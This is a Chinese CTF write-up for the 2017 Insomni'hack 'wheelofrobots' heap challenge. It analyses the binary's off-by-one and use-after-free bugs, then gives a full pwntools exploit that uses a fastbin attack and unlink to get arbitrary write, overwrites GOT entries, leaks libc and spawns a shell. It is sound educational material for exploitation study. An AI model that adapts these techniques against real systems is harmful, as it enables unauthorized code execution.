2017 insomni'hack wheelofrobots Writeup

2017 insomni'hack wheelofrobots Writeup

0x00 前言

题目地址:wheelofrobots

程序保护:

0x01 程序分析

1.1 main

main程序如下图。进入程序后,先显示菜单,然后用户输入,根据选项调用相应的功能函数。

菜单函数如下图,该程序主要有四个功能:添加、删除、修改、输出。

选项读取函数如下,使用read()a1处读入len长度,然后调用atoi将其转化为数字。

1.2 add

程序一共有6个机器人可供选择,用数字1,2,3,4,5,6来选择,根据用户选择执行相应的添加流程。总共添加的机器人轮子数不超过2,即最多添加3个机器人。

机器人1 Tinny的分配即case 1部分:判断是否使用-->申请大小为20块,将地址保存在tinny-->tinny_inuse置1-->往块中写入默认内容-->轮子数+1

机器人2 Bender的添加代码如下图。与1 tinny相比可以控制申请块的大小,并将大小变量保存在bender_size全局变量中。

机器人3 Devil与2一样,但可以分配更大的内存块。

机器人4 Chain与机器人5 Ire一样,只能申请固定大小块。

机器人6 Destructor也是与前面一样的操作。

1.3 remove

移除的操作每个机器人都一样,以机器人1为例。这里机器人移除后指针没有置NULL!

1.4 change

修改操作每个机器人都一样,只是可写入的块大小不同,以机器人1,2为例。

1.5 start_robot

此功能实际为打印,函数sub_400CA0(char *p)包含一个printf打印,可以将p指向的内容打印出来,这里p为各机器人块地址。但switch中的sub_4051BD()结果是随机的,且打印完后会执行exit(1)程序会直接退出。

int start_robot()
{
  if ( (unsigned __int64)robot_wheel_cnt > 2 )	//要求轮子数为2
  {
    switch ( (unsigned int)sub_4015BD(6LL) )	//结果具有随机性
    {
      case 1u:
        if ( !bender_inuse )
          goto LABEL_6;
        sub_400CA0(tinny);	// 打印tinny指针指向的内容
        break;
      case 2u:
LABEL_6:
        if ( !bender_inuse )
          goto LABEL_8;
        sub_400B20((__int64)"Are you kidding me!!!");
        break;
      case 3u:
LABEL_8:
        if ( !devil_inuse )
          goto LABEL_10;
        sub_400CA0(devil);
        break;
      case 4u:
LABEL_10:
        if ( !chain_inuse )
          goto LABEL_12;
        sub_400CA0((char *)chain);
        break;
      case 5u:
LABEL_12:
        if ( !ire_inuse )
          goto LABEL_14;
        sub_400CA0((char *)ire);
        break;
      case 6u:
LABEL_14:
        if ( !destructor_inuse )
          goto LABEL_16;
        sub_400CA0((char *)destructor);
        break;
      default:
LABEL_16:
        sub_400BE5(" AH AH AH Welcome in Robot Hell!! ");
        break;
    }
    exit(1);	// 打印完后直接退出
  }
  return puts("Filling the wheel first!");
}

1.6 bss变量位置关系

可以看到依次存储的是:各机器人块地址-->用户选择-->各机器人使用状态-->轮子数-->各机器人块大小

.bss:00000000006030E0 chain           dq ?                    ; DATA XREF: add+28F↑w
.bss:00000000006030E0                                         ; add+296↑r ...
.bss:00000000006030E8 ; void *destructor
.bss:00000000006030E8 destructor      dq ?                    ; DATA XREF: add+3A0↑w
.bss:00000000006030E8                                         ; add+3BB↑r ...
.bss:00000000006030F0 ; void *bender
.bss:00000000006030F0 bender          dq ?                    ; DATA XREF: add+162↑w
.bss:00000000006030F0                                         ; add+17D↑r ...
.bss:00000000006030F8 ; char *tinny
.bss:00000000006030F8 tinny           dq ?                    ; DATA XREF: add+A6↑w
.bss:00000000006030F8                                         ; add+B7↑r ...
.bss:0000000000603100 ; char *devil
.bss:0000000000603100 devil           dq ?                    ; DATA XREF: add+225↑w
.bss:0000000000603100                                         ; add+240↑r ...
.bss:0000000000603108 ; void *ire
.bss:0000000000603108 ire             dq ?                    ; DATA XREF: add+2F3↑w
.bss:0000000000603108                                         ; add+2FA↑r ...
.bss:0000000000603110 ; char *choice
.bss:0000000000603110 choice          db    ? ;               ; DATA XREF: add+3A↑o
.bss:0000000000603110                                         ; add+49↑o ...
.bss:0000000000603111                 db    ? ;
.bss:0000000000603112                 db    ? ;
.bss:0000000000603113                 db    ? ;
.bss:0000000000603114 ; int bender_inuse
.bss:0000000000603114 bender_inuse    dd ?                    ; DATA XREF: add:loc_400EE0↑r
.bss:0000000000603114                                         ; add+173↑w ...
.bss:0000000000603118 ; int chain_inuse
.bss:0000000000603118 chain_inuse     dd ?                    ; DATA XREF: add:loc_40106A↑r
.bss:0000000000603118                                         ; add+2B5↑w ...
.bss:000000000060311C ; int destructor_inuse
.bss:000000000060311C destructor_inuse dd ?                   ; DATA XREF: add:loc_401135↑r
.bss:000000000060311C                                         ; add+3B1↑w ...
.bss:0000000000603120 ; int tinny_inuse
.bss:0000000000603120 tinny_inuse     dd ?                    ; DATA XREF: add:loc_400E81↑r
.bss:0000000000603120                                         ; add+AD↑w ...
.bss:0000000000603124 ; int devil_inuse
.bss:0000000000603124 devil_inuse     dd ?                    ; DATA XREF: add:loc_400FA3↑r
.bss:0000000000603124                                         ; add+236↑w ...
.bss:0000000000603128 ; int ire_inuse
.bss:0000000000603128 ire_inuse       dd ?                    ; DATA XREF: add:loc_4010CE↑r
.bss:0000000000603128                                         ; add+31C↑w ...
.bss:000000000060312C                 align 10h
.bss:0000000000603130 ; __int64 robot_wheel_cnt
.bss:0000000000603130 robot_wheel_cnt dq ?                    ; DATA XREF: add+56↑r
.bss:0000000000603130                                         ; add+D1↑r ...
.bss:0000000000603138 ; __int64 bender_size
.bss:0000000000603138 bender_size     dq ?                    ; DATA XREF: add+16C↑w
.bss:0000000000603138                                         ; change+AC↑r
.bss:0000000000603140 ; __int64 devil_size
.bss:0000000000603140 devil_size      dq ?                    ; DATA XREF: add+22F↑w
.bss:0000000000603140                                         ; change+F5↑r
.bss:0000000000603148 ; __int64 destructor_size
.bss:0000000000603148 destructor_size dq ?                    ; DATA XREF: add+3AA↑w
.bss:0000000000603148                                         ; change+19C↑r

0x02 利用思路

从后向前介绍思路,最终要执行system("/bin/sh"),需要泄露某个函数地址,获得动态链接库加载基址。程序中start_robot功能中的输出可以被利用来泄露函数地址,但这里输出的内容为机器人指针指向的内容,所以我们应该想办法将机器人指针修改为某函数GOT地址,从而泄露该函数实际地址。

为了修改机器人(chunk)指针内容,可以使用unlink,这就需要构造fake_chunk并溢出数据覆盖下一个chunk的header。这里有3个块的大小由变量决定,若能篡改其中一个块的size,则可以达到上面的目的。

在前面的分析中发现,机器人指针free后没有置NULL,我们还可以继续往对应地址写入内容。我们可以利用fastbin机制漏洞,将chunk分配到0x603138处,进而可以向0x603148(destructor_size)处写值,控制destructor chunk大小,实现unlink。

分配chunk到0x603138后
0x603138	pre_size		//bender_size
0x603140	size			//devil_size
0x603148	userdata		//destructor_size

fastbin漏洞原理

fastbin链表使用的是单链表,设初始申请大小为0x20的chunk0,地址为chunk0_ptr,再释放,这时链表指向:fastbin[0]=>chunk0_ptr

若有个地址fake_ptr,我们可以控制fake_ptr+0x08处的值为0x21(与上面块大小相同),这时我们向chunk0写入fake_ptr(利用分配时得到的指针),这时chunk0的fd就会变成fake_ptr,链表指向:fastbin[0]=>chunk0_ptr=>fake_ptr

这时我们再分配大小为0x20的块,就会把chunk0重新分配出来,这时链表指向:fastbin[0]=>fake_ptr

然后我们再分配大小为0x20的块,就会得到一个地址为fake_ptr的chunk,进而可以往fake_ptr+0x10处写入数据。

P.S. 之所以要求fake_ptr+0x08处值为0x21是因为fastbin在分配时会进行检查块大小是否正确(同一个链里块大小相同)

为了实现将chunk分配到0x603138处,需要满足两个条件:

  1. 一个释放后依然可修改的chunk
  2. 0x603140位置可修改(即期望得到的chunk的size字段)为期望大小

第2个条件很容易满足,因为0x603140位置为devil_size位置,我们可以在申请devil机器人时设置它的大小,其大小约束(<=0x63)满足我们的需求。

第1个条件,程序在释放chunk后没有对指针置空,所以依然可以利用该指针访问chunk,但是修改功能会对机器人inuse标志进行判断,所以我们需要能控制inuse的值。

要篡改inuse的值就要用到程序中存在的一个off by one漏洞了。

如图所示,在添加机器人时,允许输入5个字节到choice

choice只有4个字节,多出的1个字节会写到bender_inuse里,进而我们就可以控制bender_inuse的标志!

bender的大小(20*v7, v7<=4)也满足我们的要求,因此我们可以利用bender基于fastbin机制漏洞将chunk分到我们指定的区域。

总结

1.利用off by one控制bender_inuse,分配devil大小为0x21,利用bender基于fastbin漏洞基址将地址为0x603038的chunk分配给tinny

2.删除bender,devil块,分配destructordevil,其中devil块范围要超过fastbin,为unlink做准备

3.利用步骤1分配的chunk修改destructor_size,构造payload写入destructor并溢出到devil的header

4.free(devil)实现unlink,构造payload实现任意地址写

5.修改机器人指针为某函数地址,将exit@got改为ret地址(防止输出后退出程序),利用start_robots泄露函数地址

6.计算动态链接库基址,计算system地址值,将free@got改为system地址,将destructor指向binsh字符串,然后调用delete函数,原意释放destructor变为执行system("/bin/sh"),得到shell.

0x03 Exploit

利用代码如下:

from pwn import *

p = process('./wheelofrobots')
#context.log_level = 'debug'

def add(robot, size=0):
    p.sendlineafter('choice : ','1')
    p.sendlineafter('choice :', str(robot))
    if(robot==2):
        p.sendlineafter('intelligence: ', str(size))
    elif(robot==3):
        p.sendlineafter('cruelty: ', str(size))
    elif(robot==6):
        p.sendlineafter('powerful: ', str(size))

def remove(robot):
    p.sendlineafter('choice : ', '2')
    p.sendlineafter('choice :', str(robot))

def change(robot,content):
    p.sendlineafter('choice : ', '3')
    p.sendlineafter('choice :', str(robot))
    p.sendafter('name: ', content)

def start_robot():
    p.sendlineafter('choice : ', '4')

def ch_bender_inuse(bit):
    p.sendlineafter('choice : ','1')
    p.sendlineafter('choice :', '9999'+bit)

def write(where, what):
    change(1, p64(where))
    change(6, p64(what))

#gdb.attach(p)
# 分配bender再释放,使得fastbin[0]指向bender_ptr
add(2,1)
remove(2)
# 为修改bender->fd,利用off by one修改bender_inuse标志为使用
ch_bender_inuse('\x01')
# 将bender->fd设为0x603138
change(2, p64(0x603138))
# 将bender_inuse还原为未使用,fastbin[0]==>bender_ptr==>0x603138
ch_bender_inuse('\x00')

#将bender_ptr重新分配出来,fastbin[0]==>0x603138
add(2,1)
#将0x603140(devil_size)设置为0x21,因fastbin分配时会验证大小
add(3,0x21)
#将0x603138地址开始的chunk分配给tinny(1)
add(1)

# 因最多分配3个,移除多余的
remove(2)
remove(3)
# 分配两个chunk用来实现unlink
add(6,3)	#destructor,用于溢出,实际数据大小为0x40(3*20=60,再加上对齐)
add(3,7)	#devil

# 向1块用户空间(0x603148--destructor_size)写入内容,即修改destructor_size为0x80
change(1,p64(0x80))

# 构造payload unlink
target = 0x6030E8	#destructor指针地址
fd = target - 0x18
bk = target - 0x10
# 构造fake_chunk
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8
# 修改devil chunk header
payload += p64(0x40) + p64(0xa0)
# 写入destructor并溢出
change(6,payload)
# unlink,使destructor[0]=&destructor-0x18
remove(3)
# 构造payload写入destructor即0x6030D0,使tinny指向destructor
# 进而可以通过控制tinny修改destructor的指向,通过destructor修改其指向位置的内容,实现任意写
payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8)
change(6,payload)
#.bss:00000000006030D0 stdin           dq ?	0
#.bss:00000000006030D8 byte_6030D8     db ?	0   
#.bss:00000000006030E0 chain           dq ?	'aaaaaaaa'   
#.bss:00000000006030E8 destructor      dq ?    	'aaaaaaaa'
#.bss:00000000006030F0 bender          dq ?    	'aaaaaaaa'
#.bss:00000000006030F8 tinny           dq ?   	0x006030E8
#.bss:0000000000603100 devil           dq ?   

libc = ELF('./libc-2.23.so')
elf = ELF('./wheelofrobots')
# patch exit为return指令,防止输出地址后exit(1)退出
write(elf.got['exit'], 0x401954)

puts_got = elf.got['puts']
# .bss:0000000000603130 robot_wheel_cnt dq ?  
# 修改robot_wheel_cnt值为3,使start_robot()可以输出
write(0x603130, 3)
# 修改tinny指向(destructor)值为puts@got地址
change(1,p64(elf.got['puts']))
# 输出destructor指向(puts@got)的内容,即puts的实际地址
start_robot()
p.recvuntil('great!! Thx ')
leak = p.recvuntil('!\n')[:-2]
leak_puts = u64(leak.ljust(8,b'\x00'))
log.success('leak puts addr: ' + hex(leak_puts))

# 计算动态链接库加载基址,及system函数地址
libc_base = leak_puts - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('/bin/sh addr: ' + hex(binsh_addr))

# 将free@got值改为system函数地址
write(elf.got['free'], sys_addr)
# 将destructor设为"/bin/sh"字符串地址
change(1,p64(binsh_addr))
# free(destructor)==>system("/bin/sh")
remove(6)
p.interactive()

执行结果

0x04 参考链接

CTF-WIKI-Unlink

CTF-WIKI-Alloc to Stack

posted @ 2022-10-02 17:54  C0ngvv  阅读(76)  评论(0编辑  收藏  举报